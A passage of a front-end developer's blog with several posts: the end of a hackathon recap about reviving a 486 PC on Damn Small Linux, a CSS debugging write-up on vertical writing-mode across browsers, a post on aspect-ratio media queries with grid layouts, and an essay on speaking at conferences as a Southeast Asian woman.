But we hadn't resolved the internet connectivity issue. Both Kheng Meng and I brought our portable wifi routers, but his had more functionality. We realised that the venue wifi had a lot of limitations. The original plan was to use his router as a client, then connect via Ethernet to the 486, which worked but no internet access. Eventually, the setup worked with his phone as a mobile hotspot 🤷.

And we were in business! Sort of. Even though the router had internet access, it seemed like the 486 had no IP address allocated to it. DCHP server not running, maybe? But Google immediately provided me with an answer. I can't explain my Google search technique other than I go with my gut on which keywords to use, and which result to pick. I realised I almost never take the first option, go figure.

That's us!

Providing live updates all day

Anyway, this was the result I picked first, maybe the word “tip” made me feel better. I wondered aloud, “What does pump do?” just as I entered the command, because neither of us ever seen it before. But lo and behold, our baby got connected to the interwebs!

We also started up the SSH client for file transfer and concurrent access. Turns out the SSH version on DSL was too old for my Mac to connect to, but Kheng Meng ran Linux Mint on his T430 and that worked great. So here's our file transfer strategy (because we didn't want to blow all of Kheng Meng's data in one afternoon).

Biggest table. All the hardware.

My portable wifi router was called into play to set up a separate network (unfortunately not connected to the internet), uncreatively called 486, for other devices to access our machine.

Download whatever files off my Mac, connected to venue wifi
Transfer said files to the T430 via USB flash drive
Connect to the 486 network and secure copy the files over to the machine

Serving a website

The web server that DSL came with was Monkey. And in theory, all we had to do was dump our website files into the /opt/monkey-0.9.2/htdocs/ folder and start the server. File transfer wasn't a problem, but I just couldn't figure out how to run the server, because the instructions were for a Desktop environment and we were in terminal because X had issues.

Eventually Kheng Meng found the command was

/opt/monkey/bin/banana start

and we added that to the /opt/bootlocal.sh file so it would start automatically on reboot. Did I mention I loved the monkey banana concept? 🐒🍌

Web server, done! As long as you were connected to our 486 network, you could access the website on port 80, no issues.

Playing music

DSL comes with a media player, but that was in the Desktop environment. Neither was Apt enabled by default. But it wasn't too tricky to turn it back on.

sudo dpkg-restore

did the trick and

apt-get update

ran without any issues.

Kheng Meng installed Sox so we could play audio files from the command line, and tested it out on a random file he had on his PC, which was the Cantina theme from Star Wars (we're getting into the Star Wars mood now, aren't we). Once that worked, my rubbish brain wanted to play 8-bit style music instead.

And I came across this marvellous piece of work by Lord Vinheteiro:

Remember that we were hooked up to the venue's projector system, which included sound. And thus while everyone was hustling away at their hacks, they would hear intermittent clips of audio files we were trying to play. Of course, we didn't want to be annoying and they ran for a few seconds each time, enough for us to gauge volume control etc.

How's about that X display?

At this point, we figured we'd try tackling the X problem. Because the error message did suggest we configure X using xsetup.sh, and that's what we did. During install, we went with xfbdev because the prompt mentioned it was for lower end systems.

We went with xvesa instead this time, and started off with the lowest resolution settings we could use, 640x480 on 4-bit colour depth. This actually worked and we got into the Desktop environment. Unfortunately, trying to open anything other than a terminal window wouldn't work. The apps just crashed before loading.

This is one part we never figured out, because we configured and reconfigured using xsetup.sh more than 10 times but we only saw 2 changes on the Desktop. The first time (and because we didn't take a photo, you can only rely on my words 🤷) was an almost grayscale affair, with a rather bad emulation of transparency for the background involving a whole lot of pixelation. There was a system stats widget built into the desktop but it was hard to read because of that.

We tweaked the settings to 800x600 and 8-bit colour depth but repeated reboots didn't seem to stick. Then, out of the blue, the colours kicked in, though we don't know if that was a good thing or a bad thing. Because the increased colour depth also made the contrast terrible. You can sort of see it if you scroll up to the pictures which show how we hijacked the venue projectors.

I also learned how to set the background to a solid colour using

bsetbg -solid COLOUR

and the fun part is that the colours are not what they say they are. For example, black turned out to be blue, white turned out to be black, green gave me this pink-ish hue, orange gave me purple and so on. Eventually we settled on red, because it gave us a lovely neon green background, making the dark text show up quite clearly.

We should have taken more photos

Once the colours came in, it seemed that the Desktop environment stabilised itself as well, and we could use all the apps that were installed without them crashing. Trade-offs, I suppose. There's a life lesson in here somewhere.

Presentation time

There were quite a lot of teams, and many with really funny and ridiculous ideas. There might be an overall recap somewhere in the future by the organisers, I don't know. When it was our turn, we had way too much stuff going on to be standing in front of everyone. So we did our presentation at our round table of stuff.

And the flailing hands are out

Update: the video of the presentation has been released. This is the most classic example of how Singlish sounds like for everyone who is not from Singapore or Malaysia, and don't know what this glorious language is.

The overall mood of the hackathon was really light and fun, so the crowd response was way more enthusiastic than a typical meetup. It's not a bad thing per se, but a normal meetup audience in Singapore and Malaysia (my anecdotal experience, take with pinches of salt) is quite reserved, with minimal questions or comments. Not tonight though 😆.

At the end of it, we managed to garner enough votes for third place! Snacks for Kheng Meng and I! 🎉 I had the best time, AND we managed to achieve our original objective, so I'd consider this a successful day out. Working with Kheng Meng was really great and hopefully we'll be hacking some other old hardware again soon.

Team 486!

Vertical typesetting with writing-mode revisited

Mon, 04 Dec 2017 00:00:00 GMT

About year ago, I wrote about the findings from an exercise in attempting to typeset Chinese vertically on the web. What came out of that was a bare-bones demo that allowed you to switch between writing modes using the checkbox hack.

I met Yoav Weiss a little while back and we chatted a little about the Responsive Images Community Group because I mentioned how I thought it would be nice if there could be some media query for writing-mode with the picture element so I didn't have to do some mildly hackish transforms on my images when I switched modes. And he suggested I write it up as a use-case for responsive images.

But when I reopened this demo that I hadn't touched in a year, my face went from 🤨 to 😱 to 🤬 to 😩 within the first 5 minutes (what can I say? I have an expressive face 🤷). So for catharsis, I'm going to write down my play-by-play of trying to figure out who (i.e. browsers) broke what and hopefully how to mitigate it, for now.

Post is long, use links to skip.

Brain dump structure

Initial findings
Code time
Layout switching
- Solution #1: JavaScript
- Solution #2: Checkbox hack
Handling image alignment
Winning solution?
Further reading
Issues and bug list

Initial findings

I'm only looking at the browsers I have immediate access to. Because I have other things to do with my life 🙆.

Chrome (64.0.3278.0 dev)

Okay, this looks perfectly fine. I was sort of exaggerating when I said everything was broken. All the text and images are accounted for, no major rendering problems in vertical writing mode. Good job, Chrome.

Toggling the switcher kicks things over to the right though. I remember that trying to horizontally centre something in vertical writing-mode was really painful, so this must have been some hack I tried in the first pass that didn't go so well.

It definitely worked at near the beginning of the 2017 because I made this screencast for my Webconf.Asia slides. Pretty sure it was using Chrome at the time. It's amazing what a few months will do to a demo. My senior once mentioned a phrase called “code rot”, I wonder if this is it.

Firefox (59.0a1 Nightly)

Oh boy, this is just. I have no words. I use Firefox Nightly as my default browser, so hence my initial reaction of ZOMG EVERYTHING IS BROKEN. Because everything IS broken here. Look at it, look at the infinite horizontal scrollbar, what's happening?!

Let's toggle...wait, where is my checkbox?! Sigh. This might take a while. Anyway, at least I tied the checkbox to the label so we can still click the label to toggle. Well, it's definitely NOT centred, but not too broken either. 2 browsers and already a world of difference.

Safari Technology Preview 44

Hey. Hey, hey hey. This looks surprisingly UN-broken. Even the height is correct. Safari, I may have misjudged you. What exactly is the Safari rendering engine again? Oh right, WebKit.

Oooo, this is kind of, sort of, in the centre of the page. Without looking at the code, I'm sure I tried some weird translate thing to shift the entire content block, hence the inconsistent behaviour in every browser. But this has been a pleasant surprise.

Edge 16.17046

I'm on Windows 10 insider fast ring release so I think my Edge is probably a higher version than most people have installed. No matter, I can check my phone too (yes I use a Windows phone, go ahead, judge me).

Anyway, this doesn't look too broken either. Just that the checkbox is a bit off. Big plus is that the scroll-wheel works! All the other browsers don't let me scroll horizontally with my scroll-wheel. I don't know if this is a Windows thing or an Edge thing though.

Vaguely semi-centred as well. I really have to check that transforms code soon. I might have an inkling as to what's going on with the checkbox as well now. Ah, but no vertical scroll with the scroll-wheel, this is getting interesting. Also, notice that the scrollbar is on the left instead 🤔.

Edge 15.15254

vertical-rl on Edge 15

horizontal-tb on Edge 15

Pretty much the same as Edge 16. I'm reasonably confident that Edge on Windows phone uses the exact same rendering engine, in this case EdgeHTML, as the desktop version, but somebody please correct me if I'm wrong.

iOS 11 WebKit

vertical-rl on iOS 11 WebKit

horizontal-tb on iOS 11 WebKit

Even though I have a plethora of browsers installed on my iPad, I know that the rendering engine powering all of them is still WebKit, because Apple has never allowed third-party browsing engines. And as already demonstrated on the desktop version, it's one of the better behaving ones.

Code time

Alright, now that we've established the baseline of destruction, it's time to pull off the dust covers and look at whatever weird code I have under there. To be fair, there isn't much of it, given how bare-bones this demo is, so that's good.

I also want to shout-out (for the umpteenth time) Browsersync, which is my top development tool, especially when it comes to building and debugging for multiple browsers on multiple devices. I wouldn't be doing a lot of this if I didn't have Browsersync.

Some background

The implementation of the switcher could have gone 2 ways, one with JavaScript to toggle classes, or with the checkbox hack. I often lean toward the CSS-only solution and so decided to go with the checkbox hack. This demo is simple enough such that there wasn't much interference in terms of keyboard controls, I mean, you could tab and toggle as per any other checkbox.

I really need to study up on accessibility to determine if I'm screwing things up for screen-readers, but that's for another day. Priority of today is dealing with the layout problem.

The checkbox hack, if you haven't tried it before, involves making use of the :checked pseudo-selector and sibling or child selectors. You can “hack” state with CSS using this method.

The caveat is that the input (usually the checkbox element), which is what toggles the :checked state, must be at the same level or higher than the targeted element whose state you wish to toggle.

&lt;body&gt; &lt;input type="checkbox" name="mode" class="c-switcher__checkbox" id="switcher"
checked&gt; &lt;label for="switcher" class="c-switcher__label"&gt;竪排&lt;/label&gt; &lt;main&gt;
&lt;!-- All the markup for the content --&gt; &lt;/main&gt; &lt;script
src="scripts.js"&gt;&lt;/script&gt; &lt;/body&gt;

And herein lies the complications. Having a mixture of different nested writing-modes on the same page really screws up the browser. I'm no browser engineer, but I have enough rudimentary knowledge to know that rendering things isn't trivial. But I'm a stickler for punishment, so onwards with the pain!

General strategy with checkbox hack

In the original demo, I set the default writing-mode to vertical-rl on the body element, then used the checkbox to toggle the writing-mode of the main element. But it seems like everyone (browser rendering engines) handles nested writing-modes differently, as seen by the catalogue of screenshots above.

Debugging 101: Reset to baseline

Remember, this is a brain dump entry, sorry if you're bored. First thing I did was to remove all styles and start from scratch. Again, this works because the demo was barebones to begin with. Context is everything, folks.

html {
  box-sizing: border-box;
  height: 100%;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

body {
  margin: 0;
  padding: 0;
  font-family: "Microsoft JhengHei", "微軟正黑體", "Heiti TC", "黑體-繁", sans-serif;
  text-align: justify;
}

This has almost become the de-facto starting point of all my projects. Set everything to border-box, and usually I'll add in margin: 0 and padding: 0 to the universal selector block as my baseline reset. But for this demo, I'll let the browser keep its spacings and just reset the body element.

This demo is almost purely Chinese, so I put in only Chinese fonts in my font stack and left the system sans-serif as the fallback. For most cases though, it is a general consensus to put your Latin-based font of choice first. The reasoning being, Chinese fonts will have support for basic Latin characters, but not the other way around.

When the browser encounters any Chinese characters, it won't find them in the Latin-based font family, so it will fallback to the next in line until it finds a font that does. If you list the Chinese font first, the browser will use the Latin-based characters found in the Chinese font, and sometimes these glyphs aren't that polished and don't look so good, especially on Windows.

Next are some aesthetic styles that don't really affect layout much (does line-height count? 🤔)

img {
  max-height: 100%;
  max-width: 100%;
}

p {
  line-height: 2;
}

figure {
  margin: 0;
}

figcaption {
  font-family: "MingLiU", "微軟新細明體", "Apple LiSung", serif;
  line-height: 1.5;
}

This is a reasonably decent baseline to start with. So now we can start investigating writing-mode behaviour.

The implications of vertical-rl

The default value for writing-mode is horizontal-tb on every single element, and it is an inherited property. If you set a value for writing-mode on an element, this value will cascade down to all its children and beyond.

If we set the writing-mode to vertical-rl on the main element, all the text and images are rendered correctly for every browser. Firefox has this slight vertical overflow of 15px and I suspect it's due to the scrollbar, but I can't be sure. Other browsers have no vertical overflow at all.

The issue with having the main element in vertical writing mode, but the document itself being in horizontal writing mode means that the content starts on the left and we end up seeing the end of the article on first load instead.

So let's move things up one level, and set writing-mode: vertical-rl on the body element instead. Chrome, Safari and Edge render the content from right-to-left, which is what we want. However, Firefox still shows the end of the article, although this did fix the scrollbar overflow issue. This looks most relevant to Bug 1102175.

And lastly, if we apply writing-mode: vertical-rl to the html element, Firefox finally comes around and reads from right-to-left. Also, no funny overflowing, just vertical right-to-left goodness.

IE11 supports writing mode but with the older syntax defined in an earlier version of the specification which uses -ms-writing-mode: tb-rl. This works fine, but based on my current markup, which uses the main element that is not supported by IE11, the switcher fails. Even applying display: block on the main element doesn't fix it. I could replace main with div for better support. Let me think about it.

Layout switching

There are known flexbox bugs in Firefox when it comes to vertical writing so I'm going to split this debugging task into 2 parts, the first is just pure layout. Figuring out the different methods of getting the writing mode switcher to work without any funky overflowing.

The second part will be related to centring the images in the figures, which is what got me into this mess. Aside from centring, I also wanted to have some sort of image orientation. Which was what led me to revisit this demo in the first place: my RICG use case write-up. #mildlysidetracked

Solution #1: JavaScript

Let's talk about the cop-out solution first. Since the problem arises from nesting mixed writing modes, maybe stop using them? Based on our observations from above, a JavaScript event listener to toggle CSS classes on the html element could potentially solve a lot of the weird rendering issues. Okay, code time 🤓.

The 2 classes I want to toggle between are uncreatively named vertical and horizontal. Since I already have the checkbox, might as well make use of it to be the class toggler.

document.addEventListener(
  "DOMContentLoaded",
  function () {
    const switcher = document.getElementById("switcher");

    switcher.onchange = changeEventHandler;
  },
  false
);

function changeEventHandler(event) {
  const isChecked = document.getElementById("switcher").checked;
  const container = document.documentElement;

  if (isChecked) {
    container.className = "vertical";
  } else {
    container.className = "horizontal";
  }
}

Centring the content block went quite well. Because there wasn't any funny nesting of writing modes nor flexbox involved, a straight-forward auto margins centring worked perfectly in all the browsers, even Firefox.

.vertical {
  writing-mode: vertical-rl;

  main {
    max-height: 35em;
    margin-top: auto;
    margin-bottom: auto;
  }
}

.horizontal {
  writing-mode: horizontal-tb;

  main {
    max-width: 40em;
    margin-left: auto;
    margin-right: auto;
  }
}

Fun fact, when in vertical writing mode, we can use margin-top: auto and margin-bottom: auto to vertically centre things! But trust me when I say centring things horizontally is more painful than you'd expect. You'll see when we get to the next part with the checkbox hack.

Accidental TIL: Microsoft Edge adheres to the ‘Assignment to read-only properties is not allowed in strict mode‘ ECMAScript5 standard but Chrome and Firefox allows for a strict quirks mode, most likely for code compatibility. I initially tried to use `classList` for toggling class names, but it's a read-only property. `className` isn't read-only though. Related reading in the links below.

Solution 2: Checkbox hack

The mechanics behind this technique is similar to using JavaScript, except that instead of using a CSS class to change state, we make use of the :checked pseudo element. Like we discussed earlier, the checkbox element has to be at the same level as the main element for this to work.

.c-switcher__checkbox:checked ~ main {
  max-height: 35em;
  margin-top: auto;
  margin-bottom: auto;
}

.c-switcher__checkbox:not(:checked) ~ main {
  writing-mode: horizontal-tb;
  max-width: 40em;
  margin-left: auto; // this doesn't work
  margin-right: auto; // this doesn't work
}

Layout code the same as .vertical and .horizontal, but alas, the results are not. Vertical centring is good, looks exactly the same as if we used JavaScript. But horizontal centring is skewed to the right. The auto margins don't seem to be doing anything in this dimension.

But if you think about it, this is actually ”correct” behaviour because we can't centre things vertically in horizontal writing mode with this method either. Why is this? Let's check the specifications.

All CSS properties have values, Once your browser has parsed a document and constructed the DOM tree, it needs to assign a value to every property on every element. Lin Clark wrote a brilliant code cartoon explaining how a CSS engine works, you have to read it! Anyway, values. From the specification:

The final value of a property is the result of a four-step calculation: the value is determined through specification (the "specified value"), then resolved into a value that is used for inheritance (the "computed value"), then converted into an absolute value if necessary (the "used value"), and finally transformed according to the limitations of the local environment (the "actual value").

Also, from the specification, the calculation of heights and margins are determined by a number of rules for each of the different types of boxes. And if both top and bottom values are auto, their used values are resolved to 0.

When we set the writing mode to vertical, the “height” seems to become the horizontal-axis when it comes to calculating these values. I say seems because I'm honestly not 100% sure how it really works. And it dawned on me that the JavaScript solution is actually magic!

Nah, I'm kidding. It's really because we didn't mix writing-modes when using the JavaScript solution, so the respective dimensions that resolved to 0 were not the ones that affected the centring we wanted to achieve. Maybe re-read that sentence a few times 🤷.

To horizontally centre our main element when vertical writing mode is toggled, we'll need to use the good ol' transform trick.

.c-switcher__checkbox:not(:checked) ~ main {
  position: absolute;
  top: 0;
  right: 50%;
  transform: translateX(50%);
}

This works for Chrome, Firefox and Safari. Unfortunately, it was kind of wonky on Edge, things are skewed to somewhere in the middle of the page and to the left. Time to file a bug with Edge. Also, the scrollbar appears on the left instead of the right.

Handling image alignment

Okay, moving on. When in vertical writing mode, I wanted the figures with 2 images to display stacked and while in horizontal mode, be side-by-side when space permits. Ideally, the figures (image and captions) would be centre-aligned in their respective writing modes.

Old school properties

Now that we're operating on a clean slate, let's just try the most basic of centring techniques: text-align. Images and text are, by default, inline elements. Apply text-align: center to the figure element, and, oh my god, it worked 😱!

Images on both horizontal and vertical writing mode have been successfully centred with no issues. I'm now very concerned about my state of mind a year ago when I was building this. Clearly flexbox was unnecessary for my intents and purposes. I reached for the new shiny first and it bit me in the ass.

I am shook. I need a drink 🥃.

On horizontal writing mode, nothing much needed to be added. Just a simple margin-bottom: 1em for some breathing room between figures. I did need to rotate the portrait orientation images to landscape for space reasons, and did that with a rotate transform.

.vertical {
  figure {
    margin-bottom: 1em;
  }

  figcaption {
    max-width: 30em;
    margin: 0 auto;
    display: inline-block;
    text-align: justify;
  }

  .img-rotate {
    transform: rotate(-90deg);
  }
}

Thing is, when you rotate an element, the browser still recognises it's original width and height values (I think), so for my demo, when the viewport gets real narrow, it triggers a horizontal overflow. Maybe there's a fix for that, or I'm doing things wrongly. Advice welcome.

This is specifically the use case I will be writing up for the RICG. The idea being, if there was some sort of media query for writing-mode, I could define a portrait image and a landscape image using the srcset attribute then serve the appropriate image accordingly.

For vertical writing mode, we generally want the text to be justified, or at least aligned top for those semi-orphaned characters on short lines. And for breathing room, the margin is applied to the left instead of the bottom.

.vertical {
  figure {
    margin-left: 1em;
  }

  figcaption {
    max-height: 30em;
    margin: auto 0.5em;
    display: inline-block;
    text-align: justify;
  }
}

We can pretty much call it a day now. It's done. This is the target end result already. I want to add that this works exactly the same for both the JavaScript implementation and the checkbox hack implementation, except for the Edge bug I mentioned earlier.

Using flexbox for centring

I suspect I chose to use flexbox for centring, though I honestly can't remember what exactly why I thought it was good idea. Clearly I didn't need flexbox for any of this. Should have done a brain dump then, huh?

But taking a look at my original code, I realised that I had applied a display: flex to the image wrapper div for those images that were supposed to stack. This made the images themselves flex children, and somehow messed up the rendering in Firefox while using a vertical writing mode 😩.

When using this approach, things look fine and dandy for the versions of Chrome, Edge and Safari I tested (refer to list above) whereby the images were centre-aligned on both vertical and horizontal, and that is nice. But they're not in Firefox, like literally, the images aren't visible on my page when vertical writing mode is toggled. It's fine in horizontal though.

I had wrapped the images that were supposed to do the stacking thing in a div that had display: flex applied, and this somehow messed up the rendering in Firefox while in vertical writing mode. I suspect this behaviour is related to the following bugs: Bug 1189131, Bug 1223180, Bug 1332555, Bug 1318825 and Bug 1382867.

In the meantime, I'm kinda intrigued by this effect that images, which are flex children, have in vertical writing mode on Firefox. It's like the browser just went nope 🧟‍♀️🙅💩.

Vertical writing mode aside, I had a conversation with Jen Simmons some time back about flexbox implementation across different browsers and she found that shrinking images are handled differently across all the browsers. The issue is still being discussed among the CSS working group so stay tuned for updates.

This shrinking issue is related to the concept of intrinsic sizing, specifically the intrinsic aspect-ratio of images. The CSS working group had quite a long discussion about this because it's not a trivial issue.

One interesting observation was that on Firefox, the flex container width capped out at the width of the viewport, but not so for other browsers. When the total width of the images within the container exceeded the viewport width, on Firefox, the images would shrink to fit, but on all other browsers, they just overflowed and you got a horizontal scroll 🤔.

To circumvent this issue for now, I made sure none of my images were flex children themselves. All the images, whether or not they were doubles or singles, were wrapped in an additional div. The display: flex property was applied onto the figure element, which made the figcaption and image wrapper div the flex children instead of the images themselves.

.vertical {
  writing-mode: vertical-rl;

  main {
    max-height: 35em;
    margin-top: auto;
    margin-bottom: auto;
  }

  figure {
    flex-direction: column;
    align-items: center;
    margin-left: 1em;
  }

  figcaption {
    max-height: 30em;
    margin-left: 0.5em;
  }

  .img-single {
    max-height: 20em;
  }
}

.horizontal {
  writing-mode: horizontal-tb;

  main {
    max-width: 40em;
    margin-left: auto;
    margin-right: auto;
  }

  figure {
    flex-wrap: wrap;
    justify-content: center;
    margin-bottom: 1em;
  }

  figcaption {
    max-width: 30em;
    margin-bottom: 0.5em;
  }

  .img-wrapper img {
    vertical-align: middle;
  }

  .img-single {
    max-width: 20em;
  }

  .img-rotate {
    transform: rotate(-90deg);
  }
}

The checkbox hack implementation works exactly the same way. My takeaway from this exercise is that browsers need to work very hard to calculate the dimensions of elements, especially those with intrinsic aspect-ratios.

How about Grid?

We've already come so far from what was necessary for this layout, so I considered attempting to use Grid for the image alignment. We could try making each figure a grid container and maybe make use of fun properties like grid-area and fit-content to make things line up.

Unfortunately, 10 minutes into the attempt, I broke my brain. The grid inspector tool in Firefox didn't seem to match the elements on my page, but maybe it's because there are too many things on there.

I need to create a simplified test case for using grid with vertical writing mode and that will be a much simpler demo and separate write-up (probably with corresponding bug reports).

Winning solution?

The currently active implementation of my stand-alone demo is the checkbox hack without flexbox solution. I'm retaining the checkbox hack version to track the Edge bug. But the flexbox solution, if you don't mind the extra wrappers, works fine as well. The markup for the JavaScript implementation also looks nicer, because you can wrap the toggle in a div and style that.

But at the end of the day, there are so many ways to achieve the same end result. It's fine to copy code from elsewhere, but the trouble comes when something does go wrong and you can't figure out why. You don't have to write everything from scratch, but make sure there's no “magic” that you can't decipher.

Just saying 😎.

Issues and bugs list

Practical uses for the aspect-ratio media query

Thu, 09 Nov 2017 00:00:00 GMT

Back in 2016, during my first ever conference talk (albeit a sort of lightning talk) at CSSConf.Asia 2016, I said that “I just like to CSS.” I wasn't lying, CSS is really my hobby. And for most of 2017, I've been ‘collecting’ interesting layouts I come across and trying to build them on the web.

I've developed an opinion (methodology? system? concept? English is so hard...) on building layouts on the web over the years. Unlike most of my web developer heroes, by the time I was elbow-deep in web development, responsive web design was the norm. In fact, I've only ever built one fixed width layout in my career. And because of this, I don't think static.

When I see an interesting layout (usually on print), my mind immediately starts picturing how it would morph if the size of the canvas changed. It's a pretty fun exercise, and then I'll sit down and try to build it, which is still fun, but with a touch of pain and frustration (as is normal for our line of work 🤷)

Web designs SHOULD morph

Designing layouts on the web requires interpolative thinking, on multiple levels. Web layouts can and most probably should morph as the viewport size changes. Our job is to make sure the layout is most effective in the space it has to perform in.

While preparing the talks for my Southeast Asia CSS roadtrip, I built a number of layout demos. One of my favourites is based off the following design from The Yellow Issue by Kiyoshi Stelzner:

This layout works nicely in a landscape orientation on the web, but as the viewport narrowed, things started to break down. But that's what media queries were for, right? But instead of regular old width-based media queries, I tried the aspect-ratio media query instead. Because I was sizing my grid with flexible units, relative proportions were important.

This particular layout involving overlap, vertical white-space and transforms would only work well on landscape mode, so I arbitrarily set the baseline aspect ratio to 1/1, and it turned out pretty well. Note that you must use a ratio (number/number) value, otherwise it won't work.

See the Pen Grid layout with overlaps by Chen Hui Jing (@huijing) on{" "} CodePen.

The demo is more fun in a standalone window, so this is the self-hosted version.

Viewport units can be challenging to use because everything is relative to the viewport, not particular containers within the layout, so scaling can be tricky sometimes. It's a flexible unit, and would work well with the aspect-ratio media query for situations where we want to keep proportions.

Deutsche Gitter

It might just be a coincidence that the layouts which catch my eye are for German publications, but grid-based design of the Swiss Style did emerge from Germany, the Netherlands and Russia in the 1920s. Josef Müller-Brockmann and Karl Gerstner published mostly in German anyway (I think).

But Dieter Rams is legit German, and his work at Braun is pretty iconic, IMHO. So when I came across two posters for Braun HiFi, which were designed by Wolfgang Schmittel, I just had to remake them for the web.

Braun HiFi studio Anlagen regie 501 poster

See the Pen Braun HiFi studio Anlagen by Chen Hui Jing (@huijing) on{" "} CodePen.

Braun HiFi Steuergerät audio 300 poster

See the Pen Braun HiFi Steuergerät audio 300{" "} by Chen Hui Jing (@huijing) on{" "} CodePen.

I highly suggest viewing them on Full Page view on CodePen. Admittedly, there are a few outstanding kinks I need to work out but the premise is that when the design hits a particular aspect-ratio, the grid rearranges itself through modifications on the grid-template-areas property.

The grid items themselves are assigned their respective grid-area which can apply regardless of layout being applied. I find this approach really convenient and takes much less code than manually placing the items via their grid-row and grid-column properties per media query.

OMG, `object-fit`

Can I just rave a bit about how well this “supplementary” CSS property works with CSS grid layouts? It's background images but for content images. Support is really quite decent. Look, we've all established that Internet Explorer will never get any new features, so for the IE family, just fallback the entire layout, it's a trade-off I think is acceptable.

But looky here, Opera Mini supports object-fit!

Can I Use object-fit? Data on support for the object-fit feature across the major browsers from caniuse.com.

With object-fit, I could make the images fill up the entire grid area they were allocated to so the layout was on point and lined up no matter how I morphed the viewport. No awkward white spaces where the image didn't quite fill up properly.

CSS is a team sport

This is my latest quotable CSS quote. I've come to the conclusion that CSS is ultimately a holistic technology, in that, even though you can use properties in isolation, the full power of CSS shines through when used in combination.

Sure, doing layout on the web usually starts off with using the display property. But we definitely use a whole suite of properties that number more than players on a basketball team. I call the above, Team Layout, and it isn't even an exhaustive list of layout-related properties.

Wrapping up

Anyway, this was a little CSS-ing to distract myself from more pressing responsibilities and life in general. Should this become a series? Like, welcome to another segment of “Let's web-ify that”? Who knows...🙃, ping me with your thoughts.

Or not.

Whatever.

You do you, my lovelies 🍸.

Musings on speaking at conferences

Sun, 15 Oct 2017 00:00:00 GMT

Disclaimer, this post may contain views that may or may not piss some people off. But they are my views, based on my personal experiences, and this is my blog so I'll write what I feel like. Also, post is long.

I have a friend, a close friend, called Aysha. She is an awesome human being, and we have pretty similar personalities and viewpoints (which is probably why we get along so well). She's also a fellow Malaysian, who happens to be a front-end developer as well as a speaker at web conferences, checking the same boxes as myself.

We recently got together after our respective speaking stints, mine being the road-trip around Southeast Asia, and hers being at Mobile Era in Oslo, Norway. And one of the things we talked about over dinner was how we felt about speaking at conferences, as women from Southeast Asia.

A brief Geography lesson

Although I'd like to believe that most people know where Southeast Asia is, as my coach always tells our team, hope for the best but prepare for the worst. So that's us marked on the map above, relative to wherever else you may be on this planet.

Southeast Asia is made up of 11 sovereign nations, namely Brunei, Cambodia, East Timor, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand and Vietnam. And whether we like it or not, English seems to be the de facto global language and it is taught in schools across Southeast Asia, either with the entire curriculum being in English, or as a standalone language module.

So yes, many of us can speak English, some of us even speak it rather well. And no, none of us are part of China or Japan. Case in point, this interview question for Michelle Yeoh (who means the world to me, might I add) that starts at 3.10:

The aftermath of colonialism from the 16th century to the mid-20th century is that we now live in a world that plays by Western rules. You could even say that it is a white man's world. Southeast Asia was one of the regions that was heavily colonised by European powers. And this has long-reaching social consequences, even today, after we have gained sovereignty. Because you cannot just declare independence and expect the culture and mindset of people who were occupied for generations to change overnight.

Like I mentioned before in a previous post, we all perceive the world and our place in it differently. And these are my views of the world and my place in it, formed as a result of my personal experiences. You will have your own views and opinions, which may or may not disagree with mine.

A logistical issue

Most web development conferences take place in North America or Europe. This is not surprising given that both the Internet and the World Wide Web originated from that part of the world. If you remember the world map earlier in this post, you'll notice that we are pretty far away from North America and Europe. Keep this in mind when I say I haven't seen that many speakers from Southeast Asia at big name web conferences.

I have been involved in helping out with conference organisation before, so I'm perfectly aware of how much time, effort and money it takes to hold a large conference. So one of the probable reasons you don't see many Southeast Asian speakers is because flying us out costs a lot of money.

Now tie that in with the notion that people from Southeast Asia don't speak English well (refer to video above), and you'll see that we seem to be in quite a hole here. As a conference organiser, you want to have excellent speakers with high quality content to make the conference a success. Would you take a chance on an unproven speaker from halfway around the world?

It's a bit of a chicken and egg problem we have here. Definitely not something that can be solved with a simple solution. But I hope this sets some context for some of my subsequent (potentially controversial) viewpoints.

At this point, I want to express my immense gratitude to the organisers who chose to take a chance on me. 2017 was my inaugural year of speaking internationally at web conferences. But I started out at a local meetup in 2015, when a friend of mine asked me to talk about an article I wrote that was published on A List Apart.

One thing led to another and before I knew it, I got my first hosting gig as the MC for CSSConf.Asia 2015 from Thomas Gorissen. That was how I got to know Aysha in the first place (I still remember exactly where and when we met 🙆). The following year, I did a short talk at CSSConf.Asia 2016 which was in turn MC-ed by Aysha and another good friend of mine, Zell.

Because I am lucky enough to be in Singapore, where almost every tech meetup is recorded, I ended up with a number of videos of my talks I could refer to when submitting CFPs. But I still needed people to take a chance on me.

This is ten percent luck

Charis Rooda, organiser of Webconf.Asia gave me my first shot at a full-length conference talk, and put me in a stellar line-up which included Heydon Pickering and Andrew Betts. The conference paid for my flight and accommodation, which honestly was good enough for me. I know some experienced speakers can wing it and still give a great talk, but I'm not one of them. Maybe some day, but not today.

I finished writing my talk a month before the conference and I rehearsed the shit out of it. Because I felt an added responsibility of representing Southeast Asia to the best of my ability, due to the fact that there simply aren't that many of us on the international stage. In my mind, I cannot just be average or good, I have to aim for perfect, because I don't want to mess it up for the rest of us.

I definitely don't want audiences walking away thinking that female speaker from who-knows-where was probably just a diversity invite. I wanted it to be that if you didn't know where Malaysia was before, I would guarantee that after my session, you will remember me as that woman from Malaysia who gave a surprisingly excellent and informative talk.

This is ten percent luck, twenty percent skill
Fifteen percent concentrated power of will
Five percent pleasure, fifty percent pain
And a hundred percent reason to remember the name
—Fort Minor, Remember the name

Vadim Makeev, organiser of pitercss conference, flew me out to Saint Petersburg, which was the first time I travelled out of Asia to give a talk. Again, the talk was prepared way ahead of the conference and rehearsed until the cows came home. Also, a large reason why I got the chance to speak at Form, Function Class 8 was because the organisers were in attendance at Webconf.asia.

Speaking at my first conference introduced me to people who brought me subsequent opportunities. I desperately want people outside our region to realise that there is a lot of talent over here, and we too can do well on the international stage. All we need is a foot in the door, and an opportunity to show what we can do.

Our path is different from yours

Opportunities for us are few and far between, so if you are a minority thinking of being a speaker at an international conference, you do have to deliver, perhaps even more so than if you were not a minority.

I admit that conference speaking is not for everybody, and that's perfectly fine. But if you want to do it, and you're not a straight white man, there is one reality of life you have to come to terms with. And that is, the straight white man is judged as an individual, but the rest of us are judged as a collective.

People of color often carry the baggage of their ethnic group’s most poorly behaved while whites are not judged by the Ted Bundys, Timothy McVeighs and Jeffery Dahmers.
Source

This short film by Neel Kolhatkar, though not directly related to the tech industry or speaking at conferences in general, is still relevant in the broader sense of how today's society functions.

Doom describes the different playing fields exceptionally well. Depending on which characteristics you possess, your difficulty level just creeps up higher and higher. If you're a woman in tech, you probably start off at “Ultra-violence” already. Sorry, sad fact of life.

